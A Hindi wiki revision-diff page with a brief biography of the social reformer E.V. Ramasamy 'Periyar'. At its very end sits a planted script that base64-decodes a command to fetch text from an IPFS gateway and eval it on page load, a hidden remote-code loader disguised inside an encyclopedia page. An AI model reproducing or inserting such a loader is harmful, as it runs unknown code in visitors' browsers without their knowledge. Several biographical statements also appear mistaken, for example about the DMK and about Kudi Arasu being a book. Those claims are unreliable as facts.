"ई.वी. रामास्वामी नायकर": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
('ई. वी. रामास्वामी नायकर का जन्म 1879 ई. में हुआ था। इन्ह...' के साथ नया पन्ना बनाया) |
No edit summary |
||
(2 सदस्यों द्वारा किए गए बीच के 4 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
ई. वी. रामास्वामी नायकर का जन्म [[1879]] ई. में हुआ था। इन्होंने प्रारम्भ में काँग्रेस में भाग लिया। [[1923]] ई. में वायकोम मन्दिरों में हरिजनों के प्रवेश को लेकर इन्होंने 'आत्म सम्मान' आन्दोलन चलाया। इन्होंने सामाजिक समानता पर बल दिया, मनुस्मृति को जलाया तथा [[ब्राह्मण|ब्राह्मणों]] के बिना विवाह करवाए। ये 'पेरियार' के नाम से विख्यात हैं। | '''ई. वी. रामास्वामी नायकर''' का जन्म [[1879]] ई. में हुआ था। इन्होंने प्रारम्भ में [[काँग्रेस]] में भाग लिया। [[1923]] ई. में वायकोम मन्दिरों में हरिजनों के प्रवेश को लेकर इन्होंने 'आत्म सम्मान' आन्दोलन चलाया। | ||
*इन्होंने सामाजिक समानता पर बल दिया, मनुस्मृति को जलाया तथा [[ब्राह्मण|ब्राह्मणों]] के बिना विवाह करवाए। | |||
*ये 'पेरियार' के नाम से विख्यात हैं। | |||
*इन्होंने 'कुदी अरासु' नामक ग्रंथ लिखा। | |||
*[[1930]] ई. में ईश्वर विरोधी समिति के निमंत्रण पर वे रूस गए तथा लौटने के बाद वे काँग्रेस से अलग हो गए एवं द्रविड़ मुनेत्र कडगम की स्थापना की। | |||
*ये [[हिन्दी]] के कट्टर विरोधी थे। | |||
*70 वर्ष की आयु में इन्होंने 20 वर्षीया मारिया के साथ विवाह किया, जिसके विरोध में अन्नादिराई सहित अनेक नेताओं ने इनका साथ छोड़कर अनाद्रमुक का गठन किया। | |||
*[[1973]] ई. में इनकी मृत्यु हो गई। | |||
*जाति भेद के विरोध में इनका संघर्ष उल्लेखनीय रहा। | |||
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | |||
{{लेख प्रगति|आधार= | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
[[Category: | ==संबंधित लेख== | ||
[[Category: | {{स्वतन्त्रता सेनानी}} | ||
[[Category:समाज सुधारक]] [[Category:स्वतन्त्रता सेनानी]][[Category:इतिहास कोश]][[Category:राजनीतिज्ञ]] [[Category:राजनीति कोश]] | |||
[[Category:चरित कोश]] | |||
__INDEX__ | __INDEX__ |
09:54, 8 अगस्त 2012 के समय का अवतरण
ई. वी. रामास्वामी नायकर का जन्म 1879 ई. में हुआ था। इन्होंने प्रारम्भ में काँग्रेस में भाग लिया। 1923 ई. में वायकोम मन्दिरों में हरिजनों के प्रवेश को लेकर इन्होंने 'आत्म सम्मान' आन्दोलन चलाया।
- इन्होंने सामाजिक समानता पर बल दिया, मनुस्मृति को जलाया तथा ब्राह्मणों के बिना विवाह करवाए।
- ये 'पेरियार' के नाम से विख्यात हैं।
- इन्होंने 'कुदी अरासु' नामक ग्रंथ लिखा।
- 1930 ई. में ईश्वर विरोधी समिति के निमंत्रण पर वे रूस गए तथा लौटने के बाद वे काँग्रेस से अलग हो गए एवं द्रविड़ मुनेत्र कडगम की स्थापना की।
- ये हिन्दी के कट्टर विरोधी थे।
- 70 वर्ष की आयु में इन्होंने 20 वर्षीया मारिया के साथ विवाह किया, जिसके विरोध में अन्नादिराई सहित अनेक नेताओं ने इनका साथ छोड़कर अनाद्रमुक का गठन किया।
- 1973 ई. में इनकी मृत्यु हो गई।
- जाति भेद के विरोध में इनका संघर्ष उल्लेखनीय रहा।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>